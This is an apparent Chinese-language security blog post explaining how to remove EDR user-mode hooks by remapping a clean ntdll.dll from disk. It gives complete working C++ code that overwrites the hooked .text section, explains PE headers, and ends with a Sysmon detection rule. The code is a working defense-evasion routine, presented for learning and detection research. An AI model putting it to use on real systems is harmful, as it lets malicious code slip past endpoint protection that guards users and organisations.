通过重新映射ntdll.dll解除EDR hook

admin 2024年2月13日23:10:25评论19 views字数 6143阅读20分28秒阅读模式

在这篇博客中,我们将深入探讨另一种可用于解开ntdll.dll的技术。在您的 DLL 被 EDR 挂钩的那一刻。我们将通过从磁盘加载 ntdll 来研究重新映射。我们还将验证 EDR 和您自己如何注意到这一点。这些技术并不新鲜。但对我来说,重要的是要揭示旧技术的内部工作原理,并写下不同的步骤以获得最佳理解。

介绍

正如我之前关于直接系统调用的博客中所解释的那样。EDR 可以对某些特定的本机 Windows 函数进行挂钩。一个典型的例子是其函数(例如 NtWriteVirtualMemory、NTAllocateVirtualMemory)是内核网关的ntdll.dll。

与其通过完全绕过 dll(通过执行直接系统调用)来绕过“受感染”的 ntdll.dll 钩子,还可以从加载的模块中完全删除 EDR 钩子

这可以通过以下原因实现。存储在磁盘上的ntdll.dll本身不会挂钩。磁盘上的 ntdll 不包含 EDR 的代码。仅当应用程序启动并将 ntdll 加载到该给定进程的内存中时,才会注入此代码。

因此,如果有一种方法可以覆盖“受感染”的ntdll.dll,该加载到恶意软件的内存中,并且从磁盘中清除了该,则可以删除钩子。如果他们完全依赖 Userland API 挂钩,这可能有助于绕过 EDR。

有几种可能的方法可以实现此目的。但是,我们将专注于通过覆盖ntdll.dll的挂钩.txt部分并将其替换为磁盘ntdll.dll的 .text 部分的干净副本来取消ntdll.dll。

仅基于此信息。已经有明确的迹象表明正在发生一些可疑的事情。因为在同一应用程序中加载 ntdll 两次是一种不常见的做法。但我们稍后将更深入地研究检测细节。在此之前,我们可以深入研究代码。我认为对 PE Headers 有一点了解是很有价值的。然后让我们获取一些代码并尝试发现其工作原理。

155

通过重新映射ntdll.dll解除EDR hook

PE 接头

让我们只刮冰山一角。PE代表可移植可执行文件,它是Windows操作系统中使用的可执行文件的文件格式。

PE 文件是一种数据结构,它包含操作系统能够将该可执行文件加载到内存中并执行它所需的信息。

不仅文件是PE文件,动态链接库(),内核模块(),控制面板应用程序()等也是PE文件。.exe.dll.srv.cpl

使用名为 PE-bear 的工具,可以调查指定应用程序的 PE 标头。标头始终相同。但是,这些部分可能会有所不同。

通过重新映射ntdll.dll解除EDR hook
显示用于直接 Syscall 挂钩的 NativeWindowsApi 的图像

如果你分析PE标头,你会发现一个神奇的字节0x5A4D。指示 DOS 报头的开始。该标头的最后一部分包含一些有价值的东西:e_lfanew。这指示 NT 标头的起始位置。这是重要的信息。因为这也将在代码中用于检索干净 ntdll 的部分信息。

通过重新映射ntdll.dll解除EDR hook
图片来自 https://0xrick.github.io/win-internals/pe3/ 他关于PE接头的系列文章令人惊叹。

PE 文件结构的一个部分是 .text 部分。这对我们来说尤为重要,因为 .text 包含程序的可执行代码。

通过重新映射ntdll.dll解除EDR hook
检查 PE-bear 中的 .text 部分。

如果我们查看 NativeWinApi 代码的 .text 文件,我们会看到代码确实是从Kernel32.dll存储的,以获取ntdll.dll中 NtAllocateVirtualMemory 函数的地址。

在此 .text 部分中,还将找到 EDR 的挂钩。

通过从磁盘重新映射ntdll.dll来解除连接。

最后,让我们看一下代码。

#include <iostream>
#include <Windows.h>
#include <winternl.h>
#include <psapi.h>

int main() {
// 获取当前进程句柄和 "ntdll.dll" 模块信息
HANDLE process = GetCurrentProcess();
MODULEINFO moduleInfo = {};
HMODULE ntdllModule = GetModuleHandleA("ntdll.dll");
LPVOID startingPageAddress = NULL;
SIZE_T sizeOfTheRegion = NULL;

// 获取 "ntdll.dll" 模块信息
GetModuleInformation(process, ntdllModule, &moduleInfo, sizeof(moduleInfo));

// 获取 "ntdll.dll" 模块基址
LPVOID ntdllBase = (LPVOID)moduleInfo.lpBaseOfDll;

// 打开 "ntdll.dll" 文件
HANDLE ntdllFile = CreateFileA("c:\windows\system32\ntdll.dll", GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);

// 创建文件映射
HANDLE ntdllMapping = CreateFileMapping(ntdllFile, NULL, PAGE_READONLY | SEC_IMAGE, 0, 0, NULL);

// 将文件映射到当前进程的虚拟地址空间
LPVOID ntdllMappingAddress = MapViewOfFile(ntdllMapping, FILE_MAP_READ, 0, 0, 0);

// 指向 DOS 头和 NT 头
PIMAGE_DOS_HEADER dosHeaderOfHookedDll = (PIMAGE_DOS_HEADER)ntdllBase;
PIMAGE_NT_HEADERS ntHeaderOfHookedDll = (PIMAGE_NT_HEADERS)((DWORD_PTR)ntdllBase + dosHeaderOfHookedDll->e_lfanew);

// 循环遍历 PE 头的每个节
for (WORD i = 0; i < ntHeaderOfHookedDll->FileHeader.NumberOfSections; i++) {
PIMAGE_SECTION_HEADER hookedSectionHeader = (PIMAGE_SECTION_HEADER)((DWORD_PTR)IMAGE_FIRST_SECTION(ntHeaderOfHookedDll) + ((DWORD_PTR)IMAGE_SIZEOF_SECTION_HEADER * i));

// 寻找名为 ".text" 的节
if (!strcmp((char*)hookedSectionHeader->Name, (char*)".text")) {
DWORD oldProtection = 0;

// 获取节的内存地址和大小
startingPageAddress = (LPVOID)((DWORD_PTR)ntdllBase + (DWORD_PTR)hookedSectionHeader->VirtualAddress);
sizeOfTheRegion = hookedSectionHeader->Misc.VirtualSize;

// 更改内存权限,允许写入
bool isProtected = VirtualProtect(startingPageAddress, sizeOfTheRegion, PAGE_EXECUTE_READWRITE, &oldProtection);

// 将 ".text" 节的内容从 "未感染" 版本复制到已加载的 "感染" 版本的内存中
memcpy(startingPageAddress, (LPVOID)((DWORD_PTR)ntdllMappingAddress + (DWORD_PTR)hookedSectionHeader->VirtualAddress), hookedSectionHeader->Misc.VirtualSize);

// 恢复内存权限
isProtected = VirtualProtect(startingPageAddress, sizeOfTheRegion, oldProtection, &oldProtection);
}
}

// 清理句柄和内存
CloseHandle(process);
CloseHandle(ntdllFile);
CloseHandle(ntdllMapping);
FreeLibrary(ntdllModule);

return 0;
}

下面的一段代码是我想花一些时间解释一下 PE 标头的冰山一角的原因。

// 这指向PE头,具体指向可执行文件定义的IMAGE_DOS_HEADER结构。
PIMAGE_DOS_HEADER dosHeaderOfHookedDll = (PIMAGE_DOS_HEADER)ntdllBase;

// 这指向PE头,具体指向PE结构的NT_Header。它检索前面检索到的DOS头的相对虚拟内存。
// IMAGE_DOS_HEADER中的e_lfanew字段包含相对于DOS头开始的NT头的RVA。
PIMAGE_NT_HEADERS ntHeaderOfHookedDll = (PIMAGE_NT_HEADERS)((DWORD_PTR)ntdllBase + dosHeaderOfHookedDll->e_lfanew);

// 循环遍历PE头的每个节。可以在 https://0xrick.github.io/win-internals/ 找到关于此的重要信息。
for (WORD i = 0; i < ntHeaderOfHookedDll->FileHeader.NumberOfSections; i++) {
// 获取当前节的头部信息
PIMAGE_SECTION_HEADER hookedSectionHeader = (PIMAGE_SECTION_HEADER)((DWORD_PTR)IMAGE_FIRST_SECTION(ntHeaderOfHookedDll) + ((DWORD_PTR)IMAGE_SIZEOF_SECTION_HEADER * i));

// 循环PE头直到找到.text节。这个节包含图像中的可执行代码。
if (!strcmp((char*)hookedSectionHeader->Name, (char*)".text")) {

这里,如前所述,DOS标头是从挂钩的ntdll中检索的。(因此,当恶意软件启动时加载的ntdll将被EDR挂钩)

它检索 DOS 标头,因为这是确定 PE 文件的 NTHeader 地址的唯一方法。请记住,这可以从位于 DosHeader 中的e_lfanew部分确定。这表示 NTHeader 将启动的位置的相对地址。

从那里将循环访问不同的部分。如 NativeWindowsApi 可执行文件所示,有多个部分。但是,可执行内容位于 .text 标头中。因此,如果节头等于 .text 头名,我们要进入 if 语句。


// 将起始页地址设为“ntdll.dll”基址加上 hookedSectionHeader 的虚拟地址
startingPageAdress = (LPVOID)((DWORD_PTR)ntdllBase + (DWORD_PTR)hookedSectionHeader->VirtualAddress);
// 获取区域的大小
sizeOfTheRegion = hookedSectionHeader->Misc.VirtualSize;

// 当找到时,更改该内存位置的权限,以便进行写操作,如页面执行读写所示。
bool isProtected = VirtualProtect(startingPageAdress, sizeOfTheRegion, PAGE_EXECUTE_READWRITE, &oldProtection);

// 将“未感染”的 ntdll.dll 的 .text 部分的内容复制到已加载到内存中的“感染”版本上。
memcpy(startingPageAdress, (LPVOID)((DWORD_PTR)ntdllMappingAddress + (DWORD_PTR)hookedSectionHeader->VirtualAddress), hookedSectionHeader->Misc.VirtualSize);

// 后续再次更改特定内存地址的权限为旧格式。
// PAGE_EXECUTE_READWRITE 是明确的不允许。
isProtected = VirtualProtect(startingPageAdress, sizeOfTheRegion, oldProtection, &oldProtection);

从那里检索起始页面地址和大小。并调用 VirtualProtect 函数。执行此操作是为了更改虚拟地址空间中那些已提交页面的权限。在本例中,我们赋予页面执行读写权限。这不是正常设置。

通过该地址空间复制数据后,将使用 VirtualProtect 功能再次重置权限。

现在,我们已经用干净的ntdll覆盖了“受感染”ntdll的虚拟地址空间。但是,必须说明的是,这是一种恶意行为,在当今时代,对手 EDR 将捕获此漏洞。

检测

可以很容易地检测到这种ntdll重新映射。这是因为ntdll.dll将在同一应用程序中加载两次。(或 sysmon 中的图像)。两次加载ntdll.dll并不常见,因此清楚地表明正在发生可疑的事情。

通过重新映射ntdll.dll解除EDR hook

Sysmon 事件 7 负责记录 DLL 的加载。因此,这可能会导致大量负载。因此,限制被分析的DLL数量是执行正确分析的关键,而不是被无用的信息所淹没。但是,因此,了解已知哪些 DDL 被篡改是关键。

通过重新映射ntdll.dll解除EDR hook

对于此测试,我使用了以下配置。我编译了上面的代码并将其命名为 DLLRemapping。因此,图像条件等于 DDLRemapping.exe 以限制数据量。

 <RuleGroup name="" groupRelation="or">
  <ImageLoad onmatch="include">
   <Image condition="image">DLLRemapping.exe</Image>
   <ImageLoaded condition="end with">ntdll.dll</ImageLoaded>
   <!--NOTE: Using "include" with no rules means nothing in this section will be logged-->
  </ImageLoad>

结论

这种技术是我深入研究 PE 文件的一个很好的理由。如果你想了解更多,我会推荐 rick 的解释。

它还向我展示了下载 Sysmon 并开始更多地分析日志。如果我想将其提升到另一个层次,可能还必须研究 EQL。

有趣的是,有多少种技术。我已经描述了 Direct Syscalls 的一部分。这些博客系列可以在这里找到:

另外还有两种技术,我可能会在将来讨论:
一种是完全阻止非Microsoft DLL。这将使未签名的 Microsoft DLL 无法加载到您的应用程序中。

另一种方法是通过使用挂起的程序来解开ntdll.dll。好的一面是它不会从磁盘加载两次ntdll.dll。这样会不那么吵!

很多地方要覆盖!

原文始发于微信公众号(安全狗的自我修养):通过重新映射ntdll.dll解除EDR hook

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年2月13日23:10:25
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   通过重新映射ntdll.dll解除EDR hookhttp://cn-sec.com/archives/2489149.html

发表评论

匿名网友 填写信息